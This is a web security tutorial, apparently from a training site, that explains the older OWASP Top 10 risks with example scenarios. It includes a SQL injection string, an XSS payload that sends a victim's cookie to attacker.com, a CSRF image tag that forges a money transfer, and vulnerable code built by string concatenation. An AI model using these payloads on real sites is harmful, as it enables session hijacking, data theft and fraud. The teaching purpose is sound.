This guide will cover the importance of Web security and will explain the primary ways that websites become exposed to attackers. In specific, we will look into the top-10 OWASP security risks, their impacts, and preventive measures to mitigate attacks.
The Open Web Application Security Project is a non-profit educational charity dedicated to enabling organizations to design, develop, acquire, operate, and maintain secure software.
OWASP is not affiliated with any technology company. Similar to many opensource software projects, OWASP produces many types of materials in a collaborative and open way. All OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security.
Websites and Web-Servers are prone to security risks and attacks due to insecure software and a lack of security principles. In recent years a range of different industries worldwide have suffered from online attacks, including finance, defense, and healthcare.
The goal of the OWASP is to raise awareness about web application security by describing the most important areas of concern that software developers need to address.
As stated on the OWASP page, the top ten vulnerabilities are:
Let's understand each risk in detail.
SQL injection (SQLi) refers to an injection attack in which an attacker alters SQL statements to take over an application's database server.
A successful SQL injection can allow the attacker to:
Example Scenario : The application uses untrusted data in the construction of the following vulnerable SQL call:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
In this case, the attacker modifies the
id parameter value in browser to a true value, such as
' ' or
http://example.com/app/accountView?id=' or '1'='1
This changes the meaning of the query, and it now returns all the records from the accounts table.
Application functions related to authentication and session management are often not implemented correctly, thus compromising passwords, keys, or session tokens.
Obviously, authentication and timeout flaws put businesses at risk of losing confidential data and give hackers a back door to the entire company.
Example scenario: Session timeouts aren’t set properly. A user uses a public computer to access the site. Instead of selecting “logout” the user simply closes the browser tab and walks away. The attacker can use the same browser an hour later, and that browser is still authenticated (no session timeout).
As mentioned in the session management and authentication section, XSS flaws can take down a web application. These occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hi-jack user sessions, deface web sites, or redirect the user to malicious sites.
Example scenario : The application uses untrusted data and uses the following HTML snippet without validation or escaping:
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
The attacker modifies the 'CC' parameter in their browser to:
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.
This one-line modification causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key.
Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
Example scenario : The application uses unverified data in a SQL call that is accessing account information:
1 2 3 4 5 6 7
String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( );
The attacker simply modifies the ‘acct’ parameter in their browser to send any account number they want. So if the account parameter is not verified (cross-checked with existing accounts), the attacker can access any user’s account, not just the intended customer’s account.
Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and so on.
Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.
If an attacker discovers improper security configuration, s/he can login with default credetials and take over application as an admin.
Example scenario: An app's server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information provided by error messages.
See this discussion on stack traces and security for more.
Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly-protected data to conduct credit card fraud, identity theft, or other crimes.
Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions for data exchanged with the browser.
Example scenario : A site simply doesn’t use SSL for all authenticated pages. Attacker simply monitors network traffic (like an open wireless network), and steals the user’s session cookie. Attacker then replays this cookie and hijacks the user’s session, accessing the user’s private data.
Most web applications verify function-level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed.
If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.
Example scenario : The attacker uses forced-browsing to target URLs.
Consider the following URLs. They require authentication. Admin rights are also required for access to the admin_getappInfo page.
If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-admin, user is allowed to access the admin_getappInfo page, this is also a flaw. Such flaws may put other admin pages at risk.
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application.
This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.
Example scenario : The application allows a user to submit a state changing request that does not include anything secret. For example:
So, the attacker constructs a request that will transfer money from the victim’s account to the attacker’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control:
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
If the victim visits any of the attacker’s sites while already authenticated to example.com, these forged requests will automatically include the user’s session info, authorizing the attacker’s request.
Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover.
Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.
Example scenario: Components almost always run with the full privilege of the application, so flaws in any component can be serious, The following two vulnerable components were downloaded 22 million times in 2011.
Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages.
Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized page.
Example scenario: The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker forms a malicious URL that redirects users to a malicious site that performs phishing and installs malware.
Whether you are new to web application security or familiar with these risks, the task of producing and maintaining a secure web application can be difficult.
To help organizations and developers reduce their application security risks in a cost effective manner, OWASP has produced numerous free and open resources that you can use to address application security in your organization. Follow this URL for better insight.
Test your skills. Learn something new. Get help. Repeat.Start a FREE 10-day trial